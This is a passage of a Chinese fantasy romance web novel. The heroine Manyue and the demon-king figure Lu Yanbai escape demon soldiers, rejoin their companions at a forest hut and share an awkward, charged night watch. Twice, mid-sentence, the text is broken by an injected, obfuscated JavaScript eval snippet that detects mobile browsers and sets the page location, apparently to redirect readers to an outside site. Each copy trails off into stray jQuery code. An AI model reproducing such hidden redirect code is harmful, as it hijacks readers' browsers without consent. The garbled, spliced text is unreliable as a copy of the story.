可不等她追问,陆宴白就推开藩篱走了出去,身影很快融入夜色中,消失不见。 72. 070 天色将明未明。满月趴在床榻边沿,不知何时竟沉沉睡去,直到织梦兽用它毛茸茸的脑袋拱着她的掌心,她才猛地惊醒过来。 案头上的残烛已经燃尽了,只余下一滩蜡油。 满月揉了揉惺忪的睡眼,环顾四周。破旧的屋子里寂静无声,唯有程南楼平稳的呼吸声隐约可闻。 陆宴白还没有回来。 满月心下微沉。 她很担心陆宴白一走了之,将他们丢在这里自生自灭。 她深吸一口气,暂时不去考虑那么多,专心查看起程南楼的情况,他的伤口已然开始愈合,面容也恢复了些许气色,让她不禁稍稍安心。 趁着小织和青青都不在,满月打来一盆清水,小心翼翼地为程南楼擦拭脸上干涸的血污和尘土。她动作轻柔,生怕惊扰了他。 就在她专注之际,门外忽然传来一阵窸窣急促的脚步声,紧接着是一声火急火燎的呼唤:“小卓姑娘!” 满月尚来不及动作,门就被推开了。 青青满头大汗地进来,肩上的药篓还带着清晨采集的药材。她气喘吁吁,显然是一路跑回来的。然而当她看清屋内景象时,整个人却顿住了。 房中除了满月,竟然还有一个人。 蓝衣,受了重伤。 这两个标志性特征,都与昨日传得沸沸扬扬的逃犯对上了。 青青瞳孔骤缩,脸上血色褪尽,眼中写满了不可置信:“他……他难道就是昨天那个逃走的除妖师?” 昨日的事情已经传遍了大街小巷,十方城的妖生平最恨的就是除妖师,无一例外。 青青下意识地后退了半步,看向满月的眼神复杂至极,有震惊,有困惑,更有一种被信任之人欺瞒背叛的受伤与痛苦。 她见过满月的妖身,知道她绝对不会是除妖师。可她为什么和一个除妖师待在一起? 满月同样不知道该如何面对青青。这几日相处下来,她很清楚青青姐妹对除妖师的痛恨,这种痛恨深入骨髓,和她解释程南楼与外面那些滥杀无辜的除妖师不一样也没用,反而可能对她造成更深的伤害。 青青面色几经变幻,挣扎与痛苦清晰地写在脸上。最终她像是下定了某种决心,不再看满月,声音却冷得像淬了冰:“妖兵很快就到这边了,你们要走快点走。” 她语速极快地说完就转身离开,甚至都不给满月回答的时间。 满月心知情况紧急,也来不及等陆宴白回来了,她将东西简单收拾了下,随即拍了拍织梦兽。织梦兽会意,周身泛起柔和的光,身形眨眼间变大至小马驹般大小,温顺地伏低身子。 满月费力地将仍在昏睡中的程南楼扶起,让他侧趴在织梦兽的背上。他的伤势虽已无大碍,但显然经不起任何的颠簸。 一出门,青青还待在外面。她看起来有些魂不守舍,听到动静她飞快地看了他们一眼,又瞧了瞧不远处妖兵挨家挨户查来的方向,咬咬牙说道:“……从那边走你会遇上他们的。跟我来。” 满月没想到青青还愿意帮他们。如果换做陆宴白在这里,他大概不会就这么相信,毕竟谁也不知道她是不是会将他们引向死路,可是满月…… 满月看着青青,点点头,朝她轻声说了一句谢谢。 她也不知道自己为什么信,但内心就是笃定青青不会害他们,这份直觉不知从何而来,不过却救了她好几次。 青青当做没有听见,她转过头,负气似的快步往前走,全程没有回头看过他们一眼。 她带着他们从后门离开。青青她们住的地方很偏僻,附近没有几户人家,这放到现在倒是一件好事。 他们很快拐进了暗巷。 “从那边走,若是运气好,没有遇见妖兵,再往前就能离开外城。”青青木着一张脸说话,她仍是没有看满月,“我就把你们送到这里了,至于能不能逃走,就看你们自己的造化。” 满月明白青青已是仁至义尽,她内心感激,却没有再道谢。她看得出青青并不想再听到类似的话。大概在青青看来,自己这样的做法无异是背叛了惨死的父母和疼爱她的姐姐。 满月朝着青青点了下头,知道这一走,她们真的不会再见面。 青青却在这时忽然叫住了她。 青青神色复杂地看着她,问出了一个自己一直隐隐有所怀疑,却始终不敢面对的问题。 “陆公子是不是也是……”她话说到一半,停住了。 满月已经知道她要问什么。 满月犹豫了一瞬,摇摇头:“他不是。” 青青面色却有点悲戚。 她已经从她犹豫的那一瞬间得到了真正的答案。 青青转身离开,光是从背影都能看出她内心的彷徨与悲伤。 满月叹了口气,也不再多耽搁,按照她所说的方向行进。 暗巷很曲折,七拐八绕的,而且每家每户都长得差不多,很快满月就迷失了其中。 第二次绕回原处,满月听到妖兵搜寻的动静,她急忙掉头,没想到另一侧也传来声音。 她被堵在了中间。 进退维谷之际,忽然有人从身后抓住了她的手。 满月吓了一跳,一回头发现是从昨天晚上开始就是失踪不见的陆宴白。 陆宴白朝她极轻地摇了摇头,比了个噤声的动作,看了眼身后。 满月会意,让织梦兽跟着他们一起,进入了旁边的小院之中。 门扉轻轻合上。 小院不大,逼仄荒凉,光是织梦兽就快占据了一半空间,满月往陆宴白身侧靠了靠,有一缕血腥气味钻进她的鼻腔,若有似无。 满月蹙了下眉,却又闻不到了。 陆宴白察觉到满月向他靠过来的动作,身形几不可察地微顿一下,却未移开,只是垂眸看了她一眼,任由她的衣袖扫过自己的手臂。 两队妖兵在距离小院不远的地方汇合,他们简单交谈几句,又各自往相反的方向去了。 等外面重新安静下来,满月才松了口气。她看向近在咫尺的陆宴白,因为不确定附近还有没有妖兵,只能用眼神传达着自己的意思。 你怎么会在这里,还有,你昨天晚上去了哪里? 她这么抽象的问话方式,陆宴白竟然看懂了。 陆宴白没有回答,只将怀中的一样东西丢了过去。 满月接过,发现有点眼熟。 这不是她的乾坤袋吗?早在之前就被十夜公子拿走了。 ……他去了十夜公子的府邸? 满月倏地抬头,惊讶地看向陆宴白,可陆宴白却没有回应她的目光,而是在留心着外面的动静。 “你……”她刚说了一个字,陆宴白就抬起手,修长的手指轻轻抵在她的唇上,阻止了她后面的话。 指尖的凉意在柔软的唇瓣上格外明显。 等到外面的动静彻底消失,陆宴白才开了口:“玄妙他们在城外。” 满月愣了愣,随即明白过来他话里暗含的意思。 他不止是拿回了她的乾坤袋,而是将陈仓他们都救了出来,并安置在了安全的地方。 这实在不像是他会做的事。 陆宴白不用问,从她的脸上都能看出她在想些什么。 他冷冷一笑,想掐她的脸,但还是忍住了:“怎么,只准你做好人,不许我做好人了?” 他好像心情有点不太好的样子,准确来说他这段时间心情好像都不太好。 昨天晚上陆宴白离去后,满月深刻反省了一下自己。在她固有的认知里,大魔王一直都是锱铢必较、睚眦必报的性格,不然他也不会用阴长生对待他的方式,原样奉还地杀死了对方。他会不高兴,必然是觉得自己付出了诸多,却并未得到同等的回报。换位思考,如果她是陆宴白,做了这么多对方毫不领情,她大概也会有些不爽。 怪就怪她受原著的影响太深,总是下意识地觉得他做任何事都藏着更深层的目的和算计,反而忽略了最一目了然的付出与好意。 “不。”满月稍稍仰起头,对上了陆宴白深不见底的眼,她一脸真诚,“谢谢你。这段时间……真的多谢你了。” 这毫不掺假的感谢让陆宴白怔忪一瞬。他没想到她竟然会道谢。 虽然他早就不图她这一声谢谢,但被她这样看着,他的心还是没由来地漏跳了一拍,一种陌生而奇异的情绪悄然蔓延。 陆宴白极其不喜欢这种脱离自己掌控的感觉,他蹙了蹙眉,敛起所有外露的情绪,若无其事地移开了视线,仿佛毫不在意。 这一切都是善印的缘故。 他对自己说。 反正她对他的好,永远也比不上对程南楼他们。 正想着,满月却忽然凑到了他面前,鼻子动了动,像是在嗅着什么。 陆宴白嘴角微微抽动了下,强忍着想要把她的脑袋支开的冲动,一脸嫌弃道:“你在干什么?” 刚刚陆宴白伸手的时候,她好像又闻到那股淡淡的血腥味,只是不太敢确认。 满月有些不确定地瞧着他:“你……” 你是不是受伤了? 这句话还没有问出口,旁边织梦兽身上的程南楼突然动了动,打断了她的思绪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314021|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满月的注意力一下子被吸引了过去。 她抛下陆宴白转过去查看情况。昨天程南楼浑身是血的模样仍历历在目,无论是出于私心还是道义,她都不希望他有事情。 因而程南楼醒来,第一个看见的便是她。 程南楼身体仍然很虚弱,他眼睛微微睁着,瞧清面前的人,似乎有些讶异:“满月姑娘,是你救了我?” “不是我,是……” 话未说完,陆宴白就上前来,他状似无意地轻轻拽了一下满月的手腕,将她带到自己身边,又很微妙地占据了她原先的位置,恰好将她与程南楼隔开。 这下程南楼眼前的人变成了陆宴白。 “师兄。” 看到他在,程南楼感到很安心。 陆宴白并未多言,取出一枚丹药给他服下后,顺带检查了他的伤势。 “看来你的命还算硬。”他似笑非笑,话虽是对程南楼说的,视线却扫向了满月。 满月能够感觉到他话里的不善,总觉得他是在跟她较劲,可又不知道为什么。 她好像也没有说过怀疑他医术之类的话吧? 倒是程南楼早就习惯了自家师兄这样的说话风格,甚至能隐隐从中听出一二分的关心。 “多谢师兄。”语毕他看向一旁正手足无措不知如何是好的满月,“还有满月姑娘。” 陆宴白听了他的话,眉梢微微挑了一下,语气淡得听不出情绪:“她有什么好谢的。” 满月:…… 满月现在确定了,陆宴白心情非常非常糟糕,而且这股邪火看起来是独独冲着她来的。 难道她在不经意的时候做了什么天怒人怨的事情,让陆宴白因此记恨上了她? 补药啊,她舒服日子还没有过够呢。 “若非满月姑娘当时留下的字条,我们或许至今仍被困在何府,难以察觉异常。”程南楼温和地解释着,试图缓和气氛。 满月这才想起当时她被十夜公子抓走的时候,确实留了一只纸鹤。 那只纸鹤竟真的发挥了作用。不过看目前的情况……似乎也没有好到哪里去。 程南楼言简意赅地讲述了他们的遭遇。原来他们一行人被困在了一段不断循环的时间里,每日记忆都会在同一时间被清除,周而复始开始新的一天,仿佛有一只无形的手想要将他们彻底困死在其中。如果不是无意中发现了满月留下的字条,他们恐怕至今仍在无知无觉中重复着轮回。 也正因如此,打乱了幕后之人的计划,十夜公子才不得不将他们带来十方城。 原来是这个原因吗? 满月有点惊讶,她还以为十夜公子大张旗鼓抓人,目的只是为了引出她和陆宴白。 看来她之前的想法是对的,找到他们并不是十夜公子的首要任务,确保密云城的万无一失才是。 现在唯一不清楚的是,十方城到底是不是也是祭祀的一部分? 陆宴白却听出了更深层的意味,他冷静地审视着程南楼:“你们还发现了什么?” “整个密云城,都好像被什么东西操控着。”程南楼轻皱起眉头,声音有点虚弱,“他们可能要利用密云城来做一件大事。” 献祭。 满月脑海中蹦出这两个字。 一切都对上了。如果说之前还有那么一丁点不敢完全笃定,那么现在就是百分百的确认。 陆宴白却不动声色的看了满月一眼。 他并不奇怪满月说的是真的,而是奇怪她为什么会知道这些。 仅仅因为善印,解释不通。 她知道的事情太多了,远远超出应该知道的范畴。 满月心里惦记着献祭的事情,完全没有留意陆宴白在看她。 程南楼咳嗽两声。满月回过神来,拿来从青青她们那里顺来的水囊,小心地扶起他,喂他喝了几口水。 水囊里的水洒落出来,她自然地用袖角替他轻轻拭去,动作细致周到。 陆宴白默然移开了眼,有意不去看他们两个,只是嘴似乎抿得更紧了些。 “我们现在该怎么办?”满月扶着程南楼躺下,转而看向陆宴白。 陆宴白仍旧没看她,他目光落在虚掩的门上,声音有些冷淡:“我去将附近的妖兵引开,你们先去跟玄妙他们会合。” 满月迟疑起来:“可是我不认路……” 陆宴白从袖子里拿出一张裁剪粗糙的纸人,他指尖轻轻拂过,注入一丝灵力,纸人歪歪扭扭地站了起来,在他掌心笨拙地动了动手脚。 “它会给你们引路的。”陆宴白道。 73. 071 满月跟着纸人有惊无险找到了草庐。 这里在外城边缘,周遭是一片浓密的树林,与禁林相隔不算太远,相当于禁林与外城之间作为缓冲的地方。四周不见一人,确实是一个很好的藏匿地点。 满月到时草庐空无一人,她正要上前查看情况,就被躺在织梦兽背上的程南楼伸手拦住了。 “小心,这附近设了阵。”说完,他将一张符箓掷了出去。 灵光一闪,旁边的树丛动了动,一张小脸探了出来:“是南楼师兄和满月姑娘!” 他话音未落,一团黄黄的绒毛球就先迫不及待地从草丛中钻了出来,箭矢一样直冲着满月而来,一头栽进了她的怀中。 满月被撞得后退了两步,反手紧紧抱住了朝她而来的小肥啾。 相隔这么久没见,她着实想念它了。 陈仓与清虚子也随之走了出来。 “原来是你们两个,吓了老道一大跳,以为是那些妖怪找到了这里来。”清虚子捂着胸口,一副惊魂未定的模样。 久别重逢,现在却不是叙旧的时候。不过陈仓他们看起来虽然仍旧有些虚弱,但在陈仓的妙手回春下,总体已无大碍。 陈仓给程南楼重新配了药。 满月坐在草庐里唯一的窗子下,说是窗子,其实只是潦草的开了一个洞,勉强能够看到外面的情形。 天色就快暗了下来,可陆宴白还没有回来。 草庐里被陆宴白提前安置了一些食物,满月的乾坤袋里还储备了些干粮,全拿出来分了。因为怕被引来妖兵,暂时不能生火,但是用灵力加热,倒也勉强合得上热水。 玄妙啃着硬邦邦的馒头,有生之年头一次吃的这么差劲。 他毕竟年纪小,平日里虽然装的老成,到了这时,倒是想念起在家里的太平。他眼睛眨巴眨巴,落下泪来。 “我想父王和母妃了。”他声音很小地说。 陈仓热了碗水给他,揉揉他的脑袋,难得没说什么风凉话。 清虚子也在长吁短叹:“哎呀,老道我也是无妄之灾了。好好的,我在那赌场里手气正盛,结果眼前一黑就被带到了这劳什子地方……” 他确实是最无辜的一个,当然这个无辜得加引号。他一进城就去了赌场,在里面呆得昏天黑地,不问世事,根本没参与主角团的行动,是因着陈仓他们受了牵连,才被一并带到这里。 这种时候倒是不嚷着要跟他们一起了。 陈仓早见惯了清虚子的不要脸,现在也没什么力气说他,瞥他一眼就算作罢。 满月有些心不在焉,陈仓见她这样问道:“怎么了?” 满月回过神,小肥啾啄着她手里的干粮碎屑,织梦兽缩得更小了些,趴在她腿边吃完了东西正在填自己的毛发。 满月还在想着陆宴白受伤的事情。她那时见他没有太多异样,就没再追问下去,可是他现在迟迟不归,不免让她真的有点担心起来。 尽管满月也知道担心大魔王是一件非常不自量力的事情。但他会受伤,也在意料之外。明明禁林的时候十夜公子完全不是他的对手。 当然这也可能是十夜公子的府邸设有埋伏的原因。满月害怕的是,会不会是因为十夜公子得到了堕仙力量的加持,所以才在突然之间实力大增。陆宴白很强,可现在的他魂魄不全,对上堕仙这个级别的对手还是稍显吃力,如果是这样的话,陆宴白再遇到他多少有点危险。 满月正要说话,外面有动静传来,陈仓留心听了下,这次倒没有之前的大动干戈,也不知道是不是他们师门之间有什么暗号。 “宴白师兄回来了。”陈仓道。 满月悬着的心终于落了地。 毕竟他是他们现在的主要战力,他如果出了事就真没救了。 满月将自己对他的关心全部归结于这个原因。 少年推门而入,带着一身林中夜幕将至的寒气。一屋子的老弱病残全都看向了他。 陆宴白摘下斗笠,扫了眼屋内,见只有满月身边还有空位,他走到她的身边坐下。 清虚子巴巴地凑过来,笑得很是谄媚:“陆少侠,陆小道长,你可算回来了,外面的情况如何了?那些妖兵可散了?咱们什么时候能离开这个鬼地方?” 显然,没有与主角团一起行动的清虚子还并不知道究竟发生了什么事,以为他们只是被一帮欺生的大妖抓了起来而已。 陆宴白懒得理会他。毕竟这件事从头解释起来太复杂,他又不是什么好相与的性格。 不能生火,屋内逐渐被蔓延的暮色吞噬,很快与外面一样暗了下来。陆宴白扫了眼床榻上休息的程南楼,直截了当询问陈仓:“他还有多久能恢复?” 陈仓看了眼程南楼,谨慎地回答:“南楼师兄伤及肺腑,虽无性命之忧,但若要行动无碍,至少还需静养两三日。” 陆宴白手肘撑在屈起的膝上,闻言他指节无意识地轻敲了敲地面,眼睫低垂下来,掩去了眸中的思虑。 眼下最紧要之事便是离开十方城。邪仙的实力比他预想的更为难缠,那个树妖得了她的一些恩惠,处理起来就比以前麻烦得多,他花了不少功夫才脱身。若要确保将这一屋子人都平安带走,最稳妥的办法,便是寻一个实力足够的人从旁策应。 所有人之中程南楼自然是最好的人选。 满月安静地坐在一旁,手里捧着的半片残破陶碗,是陈仓方才在草庐角落寻到的,里面盛着些微温的水。 陆宴白从进门到现在都没有看过她一眼,更未同她说过一句话。这段时间一直是他们两个被困在一处相依为命,竟让她诡异地产生了一丝惯性。此刻骤然回到人多的时候,而他又似乎完全无视了她的存在,她的心头莫名有异样的情绪划过。 满月将这种不好的感受压了下去,把手里还没饮用过的碗片递到了陆宴白面前。 陆宴白正想着自己的事,看到视线之中突然出现的东西,他挑了下眉,一抬头,就对上满月的目光。 “你,你要喝水吗?”不知为何,本来是最正常不过的问候,满月却毫无缘由地慌张了下。 明明不久前才打定主意要与她保持距离的,可拒绝的话到了嘴边,却变为了一个单字。 陆宴白略一颔首:“好。” 他从善如流地接过她手里的碗片,指尖不可避免地与她轻轻触碰,一瞬即离,却留下了一点冰冷的温度。 陆宴白喝了一口便又递了回去。 陈仓的视线在他们两个之间转了转,总觉得他们的氛围好像和之前有些微妙的不一样了。具体哪里不一样,她也说不上来,只是一种模糊的感觉,仿佛有无形的丝线缠绕在两人之间,旁人难以介入。 陈仓和陆宴白商量起接下来的打算,满月坐在一旁静静听着。 在程南楼痊愈之前,他们要尽可能的避免在与那些妖兵碰面交手。陈仓勉强还可以保护自己,剩下三个完全没有一战之力。 草庐也并非绝对的安全,十夜公子如果搜寻城中没有结果,迟早会找到这边来的,无论如何不能放松警惕,晚上得派人守夜。 陈仓的伤已经好了大半,已然算是一个合格的战力。商议之下,决定她和清虚子守后半夜,满月跟陆宴白守前半夜。 满月对这样的安排这一次倒是没有异议。反而是清虚子起了小心思,在他看来,陆宴白是这里最强大的人,以他趋利避害的习性,他自然想跟他一起守夜。 “不如我和陆小道长一起吧。你们两个女孩子更有话聊,守起夜来也就不会无聊了嘛。”清虚子笑嘻嘻道,完全不掩饰自己厚颜无耻的打算。 满月不介意跟他换,反正对她来说差别不大,和陈仓一起可能更自在些,而且两人许久不见,确实有很多话要讲。 她正要答应,陆宴白却先似笑非笑地看向了清虚子,语气很温柔:“你确定要和我一起?” 清徐子常年在外讨生活,最会的就是察言观色,尽管他不知道内情,却敏锐觉察到他话里暗含的危险,心头登时一凛,比满月还要机灵的动物本能发挥作用,慌忙笑道:“……算了算了,老道我……我突然觉得有点困,还是先去休息一会儿,等后半夜你再叫我好了。” 他难得这么安分,陈仓都不禁奇怪地看他一眼。 草庐狭小拥挤,他们在地上铺了厚厚的稻草,除了一张床榻,也只够躺下三个人。 陆宴白和满月去了草庐外守夜。这片林子没有禁林那么茂密,头上的月光毫无阻碍的倾泻而下,照在他们身上。 彼时已入深秋,晚上已经很冷了。满月偎在织梦兽的身上,小肥啾窝在她怀里,嗅着她身上令人安心的味道,缩成一个圆滚滚的球,睡得正香。 陆宴白在她身侧极近的地方躺了下来,两人之间仅隔着不到一掌的距离,他的发丝散落下来,恰巧落在她的手背,带来一阵若有似无的痒意。 满月呼吸微微一滞,身体稍稍僵住,却没敢动弹。 她确实有点怕他,尤其是他这段时间的阴晴不定。 陆宴白似乎毫无所觉,只安静地仰面躺着,望向头顶的苍穹,不知在想些什么。 满月也顺着他的目光看去,头上的月亮已经变为了一弯清冷的残月,与那天晚上又大又圆的圆月截然不同。 一阵冷风吹过,满月往织梦兽的方向缩了缩,她的目光下移,不由自主地落在他平静的侧影上。 “你……伤得严重吗?”犹豫了片刻,满月还是开口问道。 她之所以没在屋内当着众人的面询问,是因为她发现其他人似乎都没有注意到这件事。 按照以往明哲保身的行事态度,满月清楚自己最好别多管闲事,万一惹得他又不高兴就不妙了。可她也不知道为什么,这句话不经思考就脱口而出。 说一出口,满月就后悔了。这段时间陆宴白的情绪实在难以捉摸,她完全拿不准这句越界的关心会引来怎样的反应。 陆宴白却眉梢微微一挑,他侧过头,黑眸映着细碎的月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328706|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光望向她:“你在关心我?” 满月愣了愣,她预想过他有数种可能的回应,没想到会问这个。 满月眨眨眼:“自然,我……自然关心你。” 别忘了她现在还有一个暗恋他多时爱在心口难开的苦情人设……虽然陆宴白可能早就不记得了。 陆宴白的嘴角不受控制地上扬了一下。 呵,她居然也能说出这种话。 他手撑着地支起了上身,与她的距离瞬间拉近了不少。 满月被这突然的靠近吓了一跳,本能地抱紧了怀中的小肥啾,可身后的织梦兽却像一堵墙一样,结结实实挡住了她的去路,让她想要离远些都做不到。 陆宴白弯眼笑起:“你怎么知道我受伤了?” 他这副模样多少让满月有了一些熟悉感,总算不再那么莫名其妙。 “就是那个时候……躲在小院里,我好像闻到了你身上有血腥味,所以猜的。”她很实诚地回答。 其实也可能是别人的血溅在了他身上,但是根据满月的观察,陆宴白是有一点洁癖在的,他不会让别人的血在他身上留这么长时间。 对陆宴白来说,没有程南楼在,他心气似乎都顺了不少。 “重,当然伤的很重。”他注视着她的眼睛,将她牢牢锁定在原地,却是回答了她的上一个问题。 他们靠得这么近,满月本来就有点慌,听他这样回答,她更不知该如何是好,不免磕巴了下:“那,那你的伤口处理了吗?” “没有。” 话都到这份上,满月只能发挥着社交精神继续客套:“……需要我帮忙吗?” 陆宴白眉眼弯弯:“好啊。” 满月:…… 她这张嘴就是说话说得太快了点。 可看在他累死累活做了这么多的份上,满月还是发自内心地希望他能快点好起来,所以其实并没有多抗拒。 她目光不自在地闪了下,有意避开他极具压迫感的注视,尽量想将一切拉回正轨,若无其事问道:“你伤在了哪里?” 陆宴白拿起她的手放在了自己的肩膀上:“这里。” 指尖刚一碰触到他的衣襟,满月就像触电一样,猛然收回了手。 这完全是下意识的反应,满月也不懂自己为什么会这样做。 她稳住心神,将怀中睡得昏昏沉沉的小肥啾放到织梦兽身上,才从乾坤袋取来伤药。她见陆宴白只是看着她没有自己动手的打算,不禁暗叹一声真是个大爷,只好亲力亲为。 满月小心翼翼地碰了碰刚才被他指过的肩膀:“这里吗?” 陆宴白轻轻点了下头,视线始终没有离开过她。 满月将他的衣襟稍稍扒开,因为使不上力,她坐直了身,可这样的姿势总让她觉得好像怪怪的,颇有点强取良家妇男(?)的感觉。 陆宴白倒是看起来没有一点不适,他笑了笑,往后靠了靠,敞开身体,摆出一个更好让她操作的姿势,这模样仿佛任凭她予取予求。 此情此景,满月脑海中很难不闪现出那句洪世贤对艾莉说的著名金句。 满月咽了咽口水,莫名变得紧张起来。她将注意力全放在自己手上的动作,可半天都解不开他的衣衫,最后她实在有点烦了,只能更用力一点,扯下了一半衣襟,露出了他精致漂亮的锁骨。 锁骨旁边确实有一道伤。 满月很是无语,她抬眸对上他的眼:“伤得很重?” 陆宴白笑意盈盈:“对啊,很重。” 还真的是很重呢,再晚一会儿她都要找不到伤口了。 满月腹诽一句,不过她转瞬想起来在梦境里小团子那异于常人的恢复速度,忽然有点说不出话。万一他真的伤得很重呢,只不过他天生非同常人的恢复速度,所以才好得这么快。 满月不再讲话了,她屏气凝神,专心地替他将往伤口上擦拭伤药。 她指尖碰触在他的锁骨处,痒痒的。 陆宴白看着她替他上药时认真的神态,心像是被什么东西挠了一下,她靠得很近,连她的呼吸都清晰可闻,他的视线不自觉就顺着她的呼吸落在了她的唇瓣上,在月光的映照下,她的唇泛着水润的光泽,不免让他想起在小院的时候,进入织梦兽的梦境前,她主动踮起脚尖吻上了他的模样。 想亲上去。 这个念头在脑海中一闪而过。 陆宴白这次没再管是不是又是善印的缘故。他垂下长睫,眼眸骤然变得晦暗,好像发现自己并没有如想象中那么排斥这种感觉。 然而这个念头还没来得及实践,满月就收起了手:“好了。” 她说完一抬头,刚好对上他的眼。 没有敛起的晦涩情绪,就这么猝不及防映入她的眼帘。 满月一怔,心头泛起些奇怪的感觉。 陆宴白的手抚上她的脸,还没等他欺身靠近,旁边的草庐突然传出声响,打破了夜的安宁。 有人从草庐里出来了。 74. 072 满月这次真的被吓到了,她慌忙推开陆宴白,可到底还是晚了一步,清虚子眯着眼睛,只能看到两人的剪影,远比他们的实际动作更加暧昧。 清虚子嘿嘿笑了一声,正要说什么,陆宴白轻轻瞥他一眼,似笑非笑。 清虚子立马收住略显猥琐的笑容,点头哈腰道:“贫道就是出来放个水,什么都没看见,你们继续,继续,呵呵……” 满月听他呵呵听得心头烦躁,真想将手边的东西丢出去砸他。 然而不等她解释,清虚子就和脚底抹油一样一溜烟进了林子深处。 被谁看见不好偏偏被他看到。她能想象到明天会传出怎样离谱的流言蜚语。 满月又羞又恼,她侧过身,抱着双膝缩成一团,几乎要嵌进织梦兽柔软的绒毛里,试图与陆宴白拉开距离。 可她的脸烫得厉害,心也掩饰不了地跳得很快。 刚才是怎么回事? 如果她没有感觉错的话,陆宴白难道是……想要吻她? 这个想法太过惊世骇俗,以至于她的大脑宕机了一瞬。 不可能。 绝对不可能。 满月几乎是立刻否决了这个可怕的猜想。 他可是陆宴白,谁都可能只有他不会。 众所周知,原著里的陆宴白根本不存在普通人类那样正常的感情回路,他不可能对她产生什么超出合理认知范围的独特情感。 或许是因为那次?当时为了将他一起拖入织梦兽的梦境,她不得不吻了他。而他当时似乎并不排斥,甚至好像……还挺喜欢的。 这个想法让她瞬间冷静下来。 肯定是这样的。 陆宴白并不是对她有什么想法,只是单纯对接吻这件事感兴趣。 ……但是这么一想岂不是更奇怪了。这是什么变态癖好。 不过放在陆宴白身上,又诡异地并不会让人感到违和。 原著里的陆宴白跟男女情爱完全不沾边,万年孤寡体质,从始至终只想着找乐子这一件事。何况以他暴虐凶残的性格和全书天花板的顶级战力,根本没有人能够真正靠近他,更别提引起他这方面的兴致。 看看青青就知道了,不论是他不想这样做,还是压根没开这个窍,他都不会是那种能够喜欢别人的人。 这样一来就解释通了。 就好像养了一只猫,主人爱亲亲抱抱它,猫猫可能不懂人类复杂的感情,但却能单纯地享受这种亲昵接触带来的舒适感。 在满月心中,他的确很像一类大型猫科动物,强大,任性,缺乏人类的常识与共情,喜欢与爱这种东西从来不会出现在他的世界,但也不耽误他会对此感到好奇。 如同猫总会对毛绒球和自己的尾巴好奇一样。 全是本能毫无感情。 满月心情复杂。 没办法,他在她心里就是这样奇怪的人,无论他做什么破下限的事,她都不会意外。 满月晃了晃脑袋,试图让自己清醒一点。 绝对不能再让气氛变得这么奇怪了。 她在心里告诫自己。 陆宴白则有点遗憾。他确实对上次的亲吻印象深刻,那时他还以为是情花毒的作用。如果刚刚吻了下去,又会是什么感觉呢? 也许并没有想象中那么好,谁知道。 第一次喜欢的菜,第二次吃就会索然无味。他就是这样一个恶劣的人,所以很容易感到无聊。过去偶尔也会遇到让他觉得有趣的人,可时间没过多久就会重新变得乏味起来,最终只剩下腻烦。只有满月,他与她待在一起这么长时间,仍然对她充满了兴趣,这是极为难得的事情,也因此他才会猜测也许是善印的缘故。 可在他心底某个隐秘的角落,却又隐隐约约感觉到,如果是满月的话,无论做什么,无论有没有善印,他或许都不会感到厌烦。 他看了眼满月,少女侧着身,只能看到她如玉无瑕的侧脸和紧抿着的唇。 如果单凭陆宴白自己的心意,他倒是想重新做完刚刚没有做完的事情,以此来验证他的想法。可不知为何他没有选择这么做,他能感觉到满月现在处在濒临崩溃的边缘,她身体紧紧绷着,有时紧张得连呼吸都能忘了,戒备又警惕着他随时可能的靠近。 她过度戒备引来他些许的不满。 这么害怕他。 说什么喜欢他,果然都是在骗他。小骗子。 陆宴白好笑,想了想,还是大发慈悲地主动与她拉开了些距离,免得她真的呼吸不上来,把自己给憋死。 见到陆宴白没有下一步的动作,反而与她离远了些,满月才稍稍松了口气,神经也没有那么紧绷了。 煞风景的清虚子从林子一回来就看到方才还气氛微妙的两人像撇清干系一般各坐一边,中间空着的距离都足够塞下三个玄妙。 他一时没忍住,嘴贫的毛病又犯了,挤眉弄眼地打起趣来:“哎哟,两位这是怎么了?该不会因为老道我才……” 贫嘴贫舌的话尚未说完,闭目假寐的陆宴白连眼睛都懒得睁,指尖微微动了下,一道金色符箓瞬息凝成,精准地飞向清虚子。 清虚子的笑容立时僵在脸上,他张了张嘴,却发现一点声音都发不出来了。 是禁言符。 清虚子惊恐地尝试了好几下,见真的一点声音都发不出,才意识到自己真的惹上了大麻烦,他顿时吓得魂飞魄散,连求饶的眼神都不敢多递一个,忙不迭钻回狭小的草庐内,寻求那一点可怜的安全感。 其后的时间,两人之间再无一语。一种无声的尴尬在清冷的夜风中悄然蔓延,比深秋的寒气更令人无所适从。他们就这样沉默地守完了前半夜,与前来换班的陈仓他们简单交接后,一前一后地回到了逼仄的草庐内。 草庐的空间本来就狭小,再加上织梦兽占据了相当大的一块地方,可供栖身的角落所剩无几。满月想躲也没地方躲,只能紧贴着织梦兽躺下,另一边挨着陆宴白,很难再空出距离。 满月闭着眼睛一动不敢动,心里却有点后悔,早知道就让织梦兽在她后面进来了,这样就能让它睡在他们中间。 满月悄悄往织梦兽那边移了移。睡梦中的织梦兽被挤得不舒服,喉咙里发出一声不满的咕噜声。 满月赶紧停下动作。 然而下一瞬,身后的人就伸手揽住她的腰肢,将她捞了过去。 满月惊得睁开眼,正对上陆宴白黑沉沉的眸子。 “你……”想起来还有其他人在,满月忙压低的声音,“你干嘛?” 尽管声音压得极低,其中隐藏的细微颤抖和惊慌却依旧无处遁形。 